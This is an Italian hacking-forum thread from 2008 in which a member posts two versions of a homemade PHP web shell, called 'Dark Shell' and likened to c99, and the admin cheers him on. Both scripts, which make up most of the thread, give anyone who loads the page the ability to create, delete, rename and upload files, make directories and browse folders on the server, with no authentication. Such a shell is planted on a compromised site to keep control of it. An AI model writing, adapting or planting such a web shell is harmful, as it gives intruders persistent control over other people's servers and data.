Xhack

Un forum dedicato all'hacking
 
IndiceIndice  PortalePortale  CalendarioCalendario  FAQFAQ  CercaCerca  RegistratiRegistrati  Lista UtentiLista Utenti  GruppiGruppi  Accedi  

Condividi | 
 

 shell by Darkwolf

Andare in basso 
AutoreMessaggio
darkwolf
membro importante
membro importante
avatar

Numero di messaggi : 225
Localizzazione : Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione : 05.11.07

MessaggioTitolo: shell by Darkwolf   Ven Gen 18, 2008 3:25 pm

Codice:

<html>
   <head></head>
   <body>
<?php
//Inserisco i dati dell'utente e i form
?>

Php shell in   :   <?php echo $_SERVER['SCRIPT_FILENAME'] ?> <br />

Server      :   <?php echo $_SERVER['SERVER_NAME']; ?> <br />

User Agent   :   <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?><br />

SERVER ADD   :   <?php echo $_SERVER['SERVER_ADDR']; ?><br />

CLIENT ADD   :   <?php echo $_SERVER['REMOTE_ADDR']; ?><br /><br><br>

<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">

Inserire titolo del file:<br> <input type = "input" name = "titolo"><br />

Inserire il testo del file:<br> <textarea name = "testo" maxlength="50000"></textarea><br />

<input type = "submit" value = "Crea file"><br><br>
</form>
      <?php
         /*Creo lo script PHP per per creare il file sul server*/
         $titolo = $_POST['titolo']; //Prelevo i dati del titolo
         $testo = $_POST['testo']; //Prelevo i dati del testo
         $fop = fopen($titolo, "w+"); //Apro il file
              fwrite($fop, $testo); //Scrivo il file
              fclose($fop); //Chiudo il file
      ?>
<?php
/*Creo i form per eliminare i file */
?>
<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">
Elimina File:<br>
Inserire nome: <input type = "text" name = "nfile"><br />

<input type = "submit" value = "Cancella il file selezionato">
</form>

   <?php
/*Prelevo il nome dalle variabili*/
      $nfile = $_POST['nfile']; //prelevo il nome
      (unlink($nfile)) //elimino il file
   ?>
<?php
/*Creo i form per rinominare i file*/
?>
Rinomina File:<br>
<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">

<input type = "text" name = "old_name" value = "old_name"><br>

<input type = "text" name = "new_name" value = "new_name"><br>

<input type = "submit" value = "Rinomina">
      <?php
/*Prelevo i dati per rinominare il file*/
         $old_name = $_POST['old_name']; //Prelevo il vecchio nome
         $new_name = $_POST['new_name']; //Prelevo il nuovo nome
         rename($old_name, $new_name); //Rinomino il file
      ?>
</body>
</html>
fa le cose essenziale cancella, scrive e rinomina un file....
devo perfezionare la grafica e devo agggiungere lo script (che non so) che permette di vedere le cartelle sul sito...
Torna in alto Andare in basso
Visualizza il profilo
darkjoker
Admin
Admin
avatar

Numero di messaggi : 813
Data d'iscrizione : 30.07.07

MessaggioTitolo: Re: shell by Darkwolf   Ven Gen 18, 2008 4:12 pm

Wink
l'hai fatta, eh?
Dai anche un'occhiata a quella di Dr Nefasto (sul foro di blacklight) per prendere qualche spunto... Wink

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

Torna in alto Andare in basso
Visualizza il profilo
darkwolf
membro importante
membro importante
avatar

Numero di messaggi : 225
Localizzazione : Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione : 05.11.07

MessaggioTitolo: Re: shell by Darkwolf   Ven Gen 18, 2008 5:04 pm

si io la chiamo la nuova c99 XD uso solo quella
Torna in alto Andare in basso
Visualizza il profilo
darkwolf
membro importante
membro importante
avatar

Numero di messaggi : 225
Localizzazione : Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione : 05.11.07

MessaggioTitolo: Re: shell by Darkwolf   Ven Gen 18, 2008 9:35 pm

reso il sorgente + comprensibile (meno incasinato) migliorato l'aspetto grafico e infine aggiunto la visualizzazzione dei file e delle cartelle aggiunto anche l'upload dei file

sorgente:
Codice:

<?php
//Dati generali
?>
Shell in:  <?php echo $_SERVER['SCRIPT_FILENAME'] ?> <br />

Server:  <?php echo $_SERVER['SERVER_NAME']; ?> <br />

User Agent:  <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?><br />

SERVER ADD:  <?php echo $_SERVER['SERVER_ADDR']; ?><br />

CLIENT ADD:  <?php echo $_SERVER['REMOTE_ADDR']; ?><br /><br><br>

<?php
//header
$header = "<html>
<title>Dark Shell</title>
<body bgcolor=\"Black\" text=\"White\" link=\"Gray\">
<form enctype=\"multipart/form-data\" method=\"post\" action=\"\">";
print "$header";
$host = $_SERVER['HTTP_HOST'];
print "<br><center><font size=\"5\">Dark-Shell@$host:~$</font></center>";


//Cancellare File
print "#####Cancella File#####<br><br>";
print "<input type=\"text\" name=\"delete\"><input type=\"submit\" value=\"Cancella\"><br>";

//Crea Cartella
print "#####Crea Cartella#####<br><br>";
print "<input type = \"text\" name = \"dir\"><input type =\"submit\" name = \"sendir\" value = \"Crea\"><br>";

//Crea File
print "#####Crea File#####<br><br>";
print "Nome File: <input type = \"text\" name = \"nomefile\"><br><textarea name=\"testofile\" cols=\"25\" rows=\"10\"></textarea><br><br>";
print "<input type=\"submit\" name=\"inviafile\" value=\"Invia\"><br>";

//Invia File
print "##### Invio File #####<br><br>";
print "<input type=\"file\" name=\"file\"><input type=\"submit\" value=\"Upload\"><br>";

//Cancellare File PHP
$filedelete = htmlspecialchars($_POST['delete']);
if (file_exists($filedelete)) { unlink($filedelete); print "<br><center><font color=\"red\">Message:</font> $filedelete Deleted</center><br>"; }

//Crea Cartella PHP
$makedir = htmlspecialchars($_POST['dir']);
if ($_POST['sendir'] != "") { mkdir($makedir); print "<br><center><font color=\"red\">Message:</font> $makedir Created</center><br>"; }

//Crea File PHP
$nomefile = $_POST['nomefile'];
$testofile = $_POST['testofile'];
if ($_POST['inviafile'] != "") {
$fopen = fopen($nomefile, "a+");
fwrite($fopen, $testofile);
fclose($fopen);
print "<br><center><font color=\"red\">Message:</font> $filename Created</center><br>";}

//Invia File PHP
$tmp = $_FILES['file']['tmp_name'];
$directory = "./";
$name = htmlspecialchars($_FILES['file']['name']);
if(move_uploaded_file($tmp, $directory . $name)) { print "<br><center><font color=\"red\">Message:</font> $name Uppa</center><br>"; }

//Lista file
print "##### Lista File #####<br>";
$dir = $_GET['loc'];
if($dir == "") { $dir = "."; }
$opendir = opendir($dir);
$readdir = readdir($open);
while ($readdir = readdir($opendir)){
if(is_file($readdir))
print "$readdir<br>";
if(is_dir($readdir))
print "<a href=\"?loc=$readdir\">$readdir</a><br>";
}
print "##### Lista File #####<br><br>";
?>

mi diverto a fare queste cose quindi per vostra sfortuna ne posterò altri.... Smile
Torna in alto Andare in basso
Visualizza il profilo
darkjoker
Admin
Admin
avatar

Numero di messaggi : 813
Data d'iscrizione : 30.07.07

MessaggioTitolo: Re: shell by Darkwolf   Lun Gen 21, 2008 6:12 pm

Sad ...
scherzo... postaci i tuoi lavori Wink

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

Torna in alto Andare in basso
Visualizza il profilo
Contenuto sponsorizzato




MessaggioTitolo: Re: shell by Darkwolf   

Torna in alto Andare in basso
 
shell by Darkwolf
Torna in alto 
Pagina 1 di 1

Permessi di questa sezione del forum:Non puoi rispondere agli argomenti in questo forum
Xhack :: Programmazione :: HTML/PHP/Javascript-
Vai verso: